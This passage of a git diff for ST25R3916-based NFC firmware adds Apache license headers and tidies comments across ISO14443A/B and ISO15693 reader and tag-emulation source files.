permissions and +// limitations under the License. /** * @file iso14443a.h * @brief ISO14443A types and CRC_A. diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso_dep.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso_dep.h index ffb1f138..50994cb2 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso_dep.h +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso_dep.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file iso_dep.h * @brief ISO-DEP (ISO14443-4) RATS, I-Block, chaining (Phase 6). diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/ndef.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/ndef.h index db9ae822..7a361466 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/ndef.h +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/ndef.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file ndef.h * @brief NDEF parser/builder helpers. diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/nfc_poller.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/nfc_poller.h index 370cbe3e..ba5335ba 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/nfc_poller.h +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/nfc_poller.h @@ -1,10 +1,19 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_poller.h * @brief NFC Poller field control + transceive engine. - * - * The transceive function is the direct refactor of the working code's - * st25r_transceive(). It handles: clear FIFO set bytes load FIFO - * send cmd wait TXE wait RX FIFO read result. */ #ifndef NFC_POLLER_H #define NFC_POLLER_H @@ -21,15 +30,7 @@ hb_nfc_err_t nfc_poller_start(void); void nfc_poller_stop(void); /** - * Transceive direct refactor of working code st25r_transceive(): - * - * 1. CMD_CLEAR_FIFO - * 2. st25r_set_tx_bytes(tx_len, 0) - * 3. st25r_fifo_load(tx, tx_len) - * 4. CMD_TX_WITH_CRC or CMD_TX_WO_CRC - * 5. Poll MAIN_INT for TXE (50us 400 = 20ms) - * 6. Wait for rx_min bytes in FIFO - * 7. Read FIFO + * Transmit a frame and read the response from FIFO. * * @param tx Data to transmit. * @param tx_len TX length in bytes. diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/poller.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/poller.h index e700d6b8..d073a739 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/poller.h +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/poller.h @@ -1,8 +1,19 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file poller.h * @brief ISO14443A Poller REQA/WUPA, anti-collision, SELECT. - * - * All functions are direct refactors of the working code. */ #ifndef ISO14443A_POLLER_H #define ISO14443A_POLLER_H @@ -15,20 +26,17 @@ /** * Send REQA or WUPA and get ATQA. * Tries REQA first; if no response, waits 5ms and sends WUPA. - * Exact logic from working code st25r_reqA_or_wupa(). */ hb_nfc_err_t iso14443a_poller_activate(uint8_t atqa[2]); /** * Full card activation: REQA anti-collision SELECT (all cascade levels). * Fills the nfc_iso14443a_data_t struct with UID, ATQA, SAK. - * Exact logic from working code's app_main() card selection sequence. */ hb_nfc_err_t iso14443a_poller_select(nfc_iso14443a_data_t* card); /** * Re-select a card (WUPA anticoll select). - * From working code's reselect() macro. */ hb_nfc_err_t iso14443a_poller_reselect(nfc_iso14443a_data_t* card); diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t.h index c224e904..453f17b3 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t.h +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file t4t.h * @brief ISO14443-4 / Type 4 Tag (T4T) NDEF reader helpers. diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t_emu.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t_emu.h index 1d8c743e..683a9cde 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t_emu.h +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t_emu.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file t4t_emu.h * @brief ISO14443-4 / T4T emulation (ISO-DEP target). diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/iso14443a.c b/firmware_p4/components/Applications/nfc/protocols/iso14443a/iso14443a.c index 5eafea5d..3cc18e28 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443a/iso14443a.c +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/iso14443a.c @@ -1,4 +1,16 @@ - +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file iso14443a.c * @brief ISO14443A CRC_A calculation. @@ -31,10 +43,7 @@ bool iso14443a_check_crc(const uint8_t* data, size_t len) /** * @file poller.c - * @brief ISO14443A Poller exact refactor of working code. - * - * Every function maps 1:1 to the working code. Comments show - * the original function name and the exact byte values used. + * @brief ISO14443A poller helpers. */ #include "poller.h" #include "iso14443a.h" @@ -56,8 +65,7 @@ bool iso14443a_check_crc(const uint8_t* data, size_t len) static const char* TAG = "14443a"; /** - * Enable/disable anti-collision from working code st25r_set_antcl(): - * Read REG_ISO14443A, set or clear bit 0. + * Enable or disable anti-collision. */ static void set_antcl(bool enable) { @@ -69,13 +77,7 @@ static void set_antcl(bool enable) } /** - * Internal REQA/WUPA from working code st25r_req_cmd(): - * 1. set_antcl(false) - * 2. CMD_CLEAR_FIFO - * 3. Direct command (CMD_TX_REQA or CMD_TX_WUPA) - * 4. Wait TXE (50us 400) - * 5. Wait FIFO 2 bytes, timeout 10ms - * 6. Read 2 bytes ATQA + * Send REQA or WUPA and read ATQA. */ static int req_cmd(uint8_t cmd, uint8_t atqa[2]) { @@ -107,8 +109,7 @@ int iso14443a_poller_wupa(uint8_t atqa[2]) } /** - * Activate from working code st25r_reqA_or_wupa(): - * Try REQA first. If no response, wait 5ms and try WUPA. + * Activate a card with REQA/WUPA. */ hb_nfc_err_t iso14443a_poller_activate(uint8_t atqa[2]) { @@ -119,12 +120,7 @@ hb_nfc_err_t iso14443a_poller_activate(uint8_t atqa[2]) } /** - * Anti-collision from working code st25r_anticollision(): - * cmd = { sel, 0x20 } - * set_antcl(true) - * transceive(cmd, 2, no_crc, rx, 5, 5, 20ms) - * set_antcl(false) - * Retry up to 3 times with 5ms delay. + * Run anti-collision for one cascade level. */ int iso14443a_poller_anticoll(uint8_t sel, uint8_t uid_cl[5]) { @@ -142,10 +138,7 @@ int iso14443a_poller_anticoll(uint8_t sel, uint8_t uid_cl[5]) } /** - * SELECT from working code st25r_select(): - * cmd = { sel, 0x70, uid[0..4] } - * transceive(cmd, 7, with_crc, rx, 4, 1, 10ms) - * sak = rx[0] + * Run SELECT for one cascade level. */ int iso14443a_poller_sel(uint8_t sel, const uint8_t uid_cl[5], uint8_t* sak) { @@ -202,18 +195,7 @@ static hb_nfc_err_t iso14443a_select_from_atqa(const uint8_t atqa[2], nfc_iso144 } /** - * Full SELECT exact logic from working code app_main() UID assembly: - * - * CL1: anticoll(0x93) select(0x93) - * if uid_cl[0] == 0x88 cascade tag, uid = cl[1..3] - * else uid = cl[0..3] - * if SAK & 0x04 more levels - * - * CL2: anticoll(0x95) select(0x95) - * same cascade check - * - * CL3: anticoll(0x97) select(0x97) - * uid = cl[0..3] (always final) + * Perform full card selection across cascade levels. */ hb_nfc_err_t iso14443a_poller_select(nfc_iso14443a_data_t* card) { @@ -305,7 +287,7 @@ int iso14443a_poller_select_all(nfc_iso14443a_data_t* out, size_t max_cards) /** * @file nfc_poller.c - * @brief NFC Poller transceive engine (exact copy of working code). + * @brief NFC poller transceive engine. */ #include "nfc_poller.h" #include "nfc_common.h" @@ -349,16 +331,7 @@ void nfc_poller_stop(void) } /** - * Transceive line-by-line match with working code st25r_transceive(). - * - * Working code: - * st25r_direct_cmd(CMD_CLEAR_FIFO); - * st25r_set_nbytes((uint16_t)tx_len, 0); - * st25r_fifo_load(tx, tx_len); - * st25r_direct_cmd(with_crc . CMD_TX_WITH_CRC : CMD_TX_WO_CRC); - * // poll TXE: 50us 400 - * // wait FIFO min_bytes - * // read FIFO + * Transmit a frame and wait for the response in FIFO. */ int nfc_poller_transceive(const uint8_t* tx, size_t tx_len, bool with_crc, uint8_t* rx, size_t rx_max, size_t rx_min, diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/ndef.c b/firmware_p4/components/Applications/nfc/protocols/iso14443a/ndef.c index 5e424324..28ea9635 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443a/ndef.c +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/ndef.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file ndef.c * @brief NDEF parser/builder helpers. diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t.c b/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t.c index b4d616db..fbc00300 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t.c +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file t4t.c * @brief ISO14443-4 / Type 4 Tag (T4T) NDEF reader helpers. diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t_emu.c b/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t_emu.c index 520e903f..6bfc4ee8 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t_emu.c +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t_emu.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file t4t_emu.c * @brief ISO14443-4 / T4T emulation (ISO-DEP target) for ST25R3916. diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b.h b/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b.h index 3235f9f9..8dce6705 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b.h +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file iso14443b.h * @brief ISO 14443B (NFC-B) poller basics for ST25R3916. diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b_emu.h b/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b_emu.h index fe9f1387..d43ee1a3 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b_emu.h +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b_emu.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file iso14443b_emu.h * @brief ISO14443B (NFC-B) target emulation with basic ISO-DEP/T4T APDUs. diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b.c b/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b.c index 8c2973cb..3e479f1a 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b.c +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file iso14443b.c * @brief ISO 14443B (NFC-B) poller basics for ST25R3916. diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b_emu.c b/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b_emu.c index d4ef25e4..14571a19 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b_emu.c +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b_emu.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file iso14443b_emu.c * @brief ISO14443B (NFC-B) target emulation with ISO-DEP/T4T APDUs. diff --git a/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693.h b/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693.h index b1b684fc..4602f3c2 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693.h +++ b/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file iso15693.h * @brief ISO 15693 (NFC-V) reader/writer for ST25R3916. @@ -23,8 +36,7 @@ #include #include "highboy_nfc_types.h" #include "highboy_nfc_error.h" - -/* ─── Request flags (byte 0 of every command) ─────────────────────────────── */ +/* Request flags (byte 0 of every command) */ #define ISO15693_FLAG_SUBCARRIER (1U << 0) /**< 0=single, 1=double */ #define ISO15693_FLAG_DATA_RATE (1U << 1) /**< 0=low, 1=high */ #define ISO15693_FLAG_INVENTORY (1U << 2) /**< set in INVENTORY requests */ @@ -32,19 +44,16 @@ #define ISO15693_FLAG_SELECT (1U << 4) /**< addressed to selected tag */ #define ISO15693_FLAG_ADDRESS (1U << 5) /**< UID included in request */ #define ISO15693_FLAG_OPTION (1U << 6) /**< option flag */ - -/* ─── Response flags (byte 0 of every response) ───────────────────────────── */ +/* Response flags (byte 0 of every response) */ #define ISO15693_RESP_ERROR (1U << 0) /**< error flag; rx[1] = code */ - -/* ─── Common flag combinations ────────────────────────────────────────────── */ +/* Common flag combinations */ /** INVENTORY, high data rate (0x06) */ #define ISO15693_FLAGS_INVENTORY (ISO15693_FLAG_INVENTORY | ISO15693_FLAG_DATA_RATE) /** Addressed + high data rate (0x22) */ #define ISO15693_FLAGS_ADDRESSED (ISO15693_FLAG_ADDRESS | ISO15693_FLAG_DATA_RATE) /** Broadcast + high data rate, no address (0x02) */ #define ISO15693_FLAGS_UNADDRESSED (ISO15693_FLAG_DATA_RATE) - -/* ─── Command codes ────────────────────────────────────────────────────────── */ +/* Command codes */ #define ISO15693_CMD_INVENTORY 0x01U #define ISO15693_CMD_STAY_QUIET 0x02U #define ISO15693_CMD_READ_SINGLE_BLOCK 0x20U @@ -57,21 +66,18 @@ #define ISO15693_CMD_LOCK_DSFID 0x2AU #define ISO15693_CMD_GET_SYSTEM_INFO 0x2BU #define ISO15693_CMD_GET_MULTI_BLOCK_SEC 0x2CU - -/* ─── Error codes (inside response when RESP_ERROR is set) ─────────────────── */ +/* Error codes (inside response when RESP_ERROR is set) */ #define ISO15693_ERR_NOT_SUPPORTED 0x01U #define ISO15693_ERR_NOT_RECOGNIZED 0x02U #define ISO15693_ERR_BLOCK_UNAVAILABLE 0x10U #define ISO15693_ERR_BLOCK_LOCKED 0x12U #define ISO15693_ERR_WRITE_FAILED 0x13U #define ISO15693_ERR_LOCK_FAILED 0x14U - -/* ─── Platform limits ──────────────────────────────────────────────────────── */ +/* Platform limits */ #define ISO15693_MAX_BLOCK_SIZE 32 #define ISO15693_MAX_BLOCKS 256 #define ISO15693_UID_LEN 8 - -/* ─── Tag descriptor ───────────────────────────────────────────────────────── */ +/* Tag descriptor */ typedef struct { uint8_t uid[ISO15693_UID_LEN]; /**< UID LSB first (as on wire) */ uint8_t dsfid; /**< Data Storage Format Identifier */ @@ -82,9 +88,7 @@ typedef struct { bool info_valid; /**< system info was successfully read */ } iso15693_tag_t; -/* ═══════════════════════════════════════════════════════════════════════════ - * Poller API - * ═══════════════════════════════════════════════════════════════════════════ */ +/* Poller API */ /** * @brief Configure ST25R3916 for ISO 15693 polling. @@ -203,14 +207,12 @@ hb_nfc_err_t iso15693_get_multi_block_sec(const iso15693_tag_t* tag, size_t* out_len); /** - * @brief Full tag dump: inventory → system info → all blocks. + * @brief Full tag dump: inventory -> system info -> all blocks. * * Prints everything via ESP_LOGI. No output parameters. */ void iso15693_dump_card(void); - -/* ─── Utility ──────────────────────────────────────────────────────────────── */ - +/* Utility */ /** * @brief Compute ISO 15693 CRC-16 (poly=0x8408, init=0xFFFF, ~result). */ diff --git a/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693_emu.h b/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693_emu.h index f37fc37e..35a99a0e 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693_emu.h +++ b/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693_emu.h @@ -1,19 +1,32 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file iso15693_emu.h * @brief ISO 15693 (NFC-V) tag emulation for ST25R3916. * * Architecture mirrors t2t_emu exactly: - * - iso15693_emu_init() → set tag memory + UID - * - iso15693_emu_configure_target() → configure ST25R3916 as NFC-V target - * - iso15693_emu_start() → enter SLEEP (field-detector active) - * - iso15693_emu_run_step() → call in tight loop (no blocking) - * - iso15693_emu_stop() → power down + * - iso15693_emu_init() -> set tag memory + UID + * - iso15693_emu_configure_target() -> configure ST25R3916 as NFC-V target + * - iso15693_emu_start() -> enter SLEEP (field-detector active) + * - iso15693_emu_run_step() -> call in tight loop (no blocking) + * - iso15693_emu_stop() -> power down * * State machine (identical to T2T): * - * SLEEP ──[field detected]──► SENSE ──[INVENTORY received]──► ACTIVE - * ACTIVE ──[field lost]──► SLEEP - * ACTIVE ──[HALT / stay quiet]──► SLEEP + * SLEEP --[field detected]--> SENSE --[INVENTORY received]--> ACTIVE + * ACTIVE --[field lost]--> SLEEP + * ACTIVE --[HALT / stay quiet]--> SLEEP * * Emulation limitations on ST25R3916 in NFC-V mode: * - No hardware anti-collision (unlike NFC-A): the chip does NOT @@ -23,8 +36,8 @@ * - Only high-data-rate / single-subcarrier supported. * * Supported commands (emulated in software): - * - INVENTORY → reply [resp_flags][DSFID][UID] - * - GET_SYSTEM_INFO → reply with block_count, block_size, DSFID, AFI + * - * - INVENTORY -> reply [resp_flags][DSFID][UID] + * - * - GET_SYSTEM_INFO -> reply with block_count, block_size, DSFID, AFI * - READ_SINGLE_BLOCK * - WRITE_SINGLE_BLOCK * - READ_MULTIPLE_BLOCKS @@ -32,7 +45,7 @@ * - WRITE_AFI / LOCK_AFI * - WRITE_DSFID / LOCK_DSFID * - GET_MULTI_BLOCK_SEC - * - STAY_QUIET → go to SLEEP (stop responding until power cycle) + * - * - STAY_QUIET -> go to SLEEP (stop responding until power cycle) */ #ifndef ISO15693_EMU_H #define ISO15693_EMU_H @@ -42,25 +55,21 @@ #include #include "iso15693.h" #include "highboy_nfc_error.h" - -/* ─── Memory limits ────────────────────────────────────────────────────────── */ +/* Memory limits */ #define ISO15693_EMU_MAX_BLOCKS 256 #define ISO15693_EMU_MAX_BLOCK_SIZE 4 /**< bytes per block (default) */ #define ISO15693_EMU_MEM_SIZE (ISO15693_EMU_MAX_BLOCKS * ISO15693_EMU_MAX_BLOCK_SIZE) - -/* ─── Card profile ─────────────────────────────────────────────────────────── */ +/* Card profile */ typedef struct { uint8_t uid[ISO15693_UID_LEN]; /**< 8-byte UID, LSB first */ uint8_t dsfid; /**< Data Storage Format Identifier */ uint8_t afi; /**< Application Family Identifier */ uint8_t ic_ref; /**< IC reference byte */ - uint16_t block_count; /**< number of blocks (≤ MAX_BLOCKS) */ - uint8_t block_size; /**< bytes per block (≤ MAX_BLOCK_SIZE)*/ + uint16_t block_count; /**< number of blocks (<= MAX_BLOCKS) */ + uint8_t block_size; /**< bytes per block (<= MAX_BLOCK_SIZE)*/ uint8_t mem[ISO15693_EMU_MEM_SIZE]; /**< tag memory flat array */ } iso15693_emu_card_t; - -/* ─── API ──────────────────────────────────────────────────────────────────── */ - +/* API */ /** * @brief Initialise emulator with a card profile. * @@ -73,7 +82,7 @@ hb_nfc_err_t iso15693_emu_init(const iso15693_emu_card_t* card); * @brief Populate a card from a previously read iso15693_tag_t + raw dump. * * Convenience helper: fills uid/dsfid/afi/block_count/block_size from tag, - * copies raw_mem (block_count × block_size bytes) into card->mem. + * * copies raw_mem (block_count x block_size bytes) into card->mem. */ void iso15693_emu_card_from_tag(iso15693_emu_card_t* card, const iso15693_tag_t* tag, @@ -83,7 +92,7 @@ void iso15693_emu_card_from_tag(iso15693_emu_card_t* card, * @brief Create a minimal writable NFC-V tag for testing. * * UID is fixed to the values passed in. - * Initialises 8 blocks × 4 bytes = 32 bytes of zeroed memory. + * * Initialises 8 blocks x 4 bytes = 32 bytes of zeroed memory. */ void iso15693_emu_card_default(iso15693_emu_card_t* card, const uint8_t uid[ISO15693_UID_LEN]); @@ -91,7 +100,7 @@ void iso15693_emu_card_default(iso15693_emu_card_t* card, /** * @brief Configure ST25R3916 as NFC-V target. * - * Resets chip → oscillator → registers → starts field detector. + * * Resets chip -> oscillator -> registers -> starts field detector. * Does NOT activate the field (we are a target, not an initiator). */ hb_nfc_err_t iso15693_emu_configure_target(void); @@ -109,7 +118,7 @@ hb_nfc_err_t iso15693_emu_start(void); void iso15693_emu_stop(void); /** - * @brief Single polling step — call as fast as possible in a FreeRTOS task. + * @brief * @brief Single polling step - call as fast as possible in a FreeRTOS task. * * Non-blocking. Checks IRQs, transitions state machine, handles commands. */ diff --git a/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693.c b/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693.c index 8942ad77..0ba4b518 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693.c +++ b/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file iso15693.c * @brief ISO 15693 (NFC-V) reader/poller for ST25R3916. diff --git a/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693_emu.c b/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693_emu.c index 4e687743..9d5bf8f7 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693_emu.c +++ b/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693_emu.c @@ -1,8 +1,21 @@ -/** +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +/** * @file iso15693_emu.c * @brief ISO 15693 (NFC-V) tag emulation for ST25R3916. * - * Architecture is a direct port of t2t_emu.c with the following differences: + * Emulation uses the following target-mode behavior: * * 1. MODE register: 0xB0 instead of 0x88 (0x80=target | 0x30=NFC-V) * @@ -18,7 +31,7 @@ * 4. CRC-16 (poly=0x8408, init=0xFFFF, ~result) appended to every TX. * CMD_TX_WITH_CRC in 